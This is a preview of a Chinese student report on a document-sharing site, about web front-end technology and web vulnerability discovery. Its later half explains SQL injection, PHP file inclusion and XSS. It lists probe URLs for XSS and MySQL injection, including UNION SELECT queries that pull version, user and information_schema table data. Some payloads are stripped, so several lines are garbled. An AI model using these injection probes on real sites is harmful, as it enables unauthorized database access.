Web前端的认识和理解.doc

上传人:飞****9 文档编号:134416455 上传时间:2020-06-05 格式:DOC 页数:18 大小:430.50KB
返回 下载 相关 举报
Web前端的认识和理解.doc_第1页
第1页 / 共18页
Web前端的认识和理解.doc_第2页
第2页 / 共18页
Web前端的认识和理解.doc_第3页
第3页 / 共18页
Web前端的认识和理解.doc_第4页
第4页 / 共18页
Web前端的认识和理解.doc_第5页
第5页 / 共18页
点击查看更多>>
资源描述

《Web前端的认识和理解.doc》由会员分享,可在线阅读,更多相关《Web前端的认识和理解.doc(18页珍藏版)》请在金锄头文库上搜索。

1、Web前端认识班级:0441104姓名:夏维 ;王波 学号:2011211830 ;2011211832授课教师:董涛 对Web前端的认识由于网络技术日趋成熟,黑客们也将注意力从以往对网络服务器的攻击逐步转移到了对Web应用的攻击上。根据Gartner的最新调查,信息安全攻击有75%都是发生在Web应用而非网络层面上。同时,数据也显示,三分之二的Web站点都相当脆弱,易受攻击。然而现实确是,绝大多数企业将大量的投资花费在网络和服务器的安全上,没有从真正意义上保证Web应用本身的安全,给黑客以可乘之机。一、Web的介绍1、 web的起源Web是World Wide Web的简称,中文称之为万维网

2、,是用于发布、浏览、查询信息的网络信息服务系统,由许多遍布在不同地域内的Web服务器有机地组成2、 Web架构的精妙处从技术层面上看,Web架构的精华有三处:用超文本技术(HTML)实现信息与信息的连接;用统一资源定位技术(URL)实现全球信息的精确定位;用新的应用层协议(HTTP)实现分布式的信息共享。3、 Web技术涉及的技术Web是一种典型的分布式应用架构。Web应用中的每一次信息交换都要涉及到客户端和服务端两个层面。因此,Web开发技术大体上也可以被分为客户端技术和服务端技术两大类。(1)客户端技术HTML语言的诞生Web客户端的主要任务是展现信息内容,HTML语言是信息展现的最有效载

3、体之一。作为一种实用的超文本语言, 1990年,第一个图形化的Web浏览器World Wide Web终于可以使用一种为Web度身定制的语言-HTML来展现超文本信息了。从静态信息到动态信息最初的HTML语言只能在浏览器中展现静态的文本或图像信息,随后由静态技术向动态技术逐步转变。1997年,Microsoft发布了IE 4.0,并将动态HTML标记、CSS和动态对象模型发展成了一套完整、实用、高效的客户端开发技术体系,Microsoft称其为DHTML。同样是实现HTML页面的动态效果,DHTML技术无需启动Java虚拟机或其他脚本环境,可以在浏览器的支持下,获得更好的展现效果和更高的执行效

4、率。为了在HTML页面中实现音频、视频等更为复杂的多媒体应用,又引入了对QuickTime插件的支持。Real player插件、Microsoft自己的媒体播放插件Media Player也被预装到了各种Windows版本之中。随后Flash插件的横空出世。(2)服务端技术与客户端技术从静态向动态的演进过程类似,Web服务端的开发技术也是由静态向动态逐渐发展、完善起来的。二、漏洞挖掘 漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都是针对ELF文件或者PE文件的漏洞挖掘技术.在针对ELF文

5、件 PE文件如*.exe与*.dl的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术.例

6、如Linux内核的很多漏洞都是通过fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术.网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果.WEB漏洞的分类1、 SQL注入SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通

7、过浏览器执行任意SQL语句,从而实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.2、文件包含类型,如PHP的的远程 本地文件包含漏洞 文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以很快

8、速的达到上传WEBSHELL,然后本地提升权限的作用.3、 XSSXSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任Javascript脚本,那安全性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客

9、户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法.同时例如session骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的.二、WEB漏洞挖掘规则漏洞挖掘规则需要一个WEB浏览器,如IE Firefox等即可,无需读取WEB程序的源代码,只要某个规则符合了漏洞规则的要求,即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法例如:http:/website/index1.php?id=alert(111),如果对方的代码过滤了双引号,那么可以通过http:/website/index1.php?id=alert(

10、111),采用单引号测试,若单引号也过滤呢?OK,我们这样来测试http:/website/index1.php?id=alert(111),使用数字提交,这样测试XSS的漏洞就扩展到了三条,通过构造HTML语句来实现XSS漏洞的挖掘等等. XSS的漏洞挖掘规则http:/website/index1.php?id=alert(111)http:/website/index1.php?id=alert(111)http:/website/index1.php?id=alert(111)http:/website/index1.php?id=http:/website/index1.php?id

11、=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,可以找到一些XSS漏洞。下面的这四个语句

12、判断是否存在mysql注入,其中号类型的测试已经不是很可行,特别在PHP5和mysql5的环境下:)http:/website/index1.php?id=1http:/website/index1.php?id=1and 1=1http:/website/index1.php?id=1and 1=2http:/website/index1.php?id=1order by 4 /4为判断该表的列数,直到猜测到为止下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4http:/website/index1.php?id=1and 1=1 union s

13、elect 1,2,3,4http:/website/index1.php?id=1and 1=1 union select version(),database(),user(),4http:/website/index1.php?id=1and 1=1 union select 1/*http:/website/index1.php?id=1and 1=1 union select version()/*http:/website/index1.php?id=1and 1=1 union select databse()/*猜测表名:http:/website/index1.php?id=

14、1and 1=1 union select 1,2,3,4 from database.table where 1=2/where 1=2 不打印猜测表的内容admin user articles news必须在指定select的字段个数再使用,否则mysql会报错.http:/website/index1.php?id=1and 1=1 union select table_schema,table_name,table_rows,table_count from information_schema.tables /上面使用数据库的元数据来获取mysql的信息,前提是系统管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.在开始分析mysql数据库到底可以执行到那种程度的注入情况下分析了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 幼儿/小学教育 > 幼儿教育

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号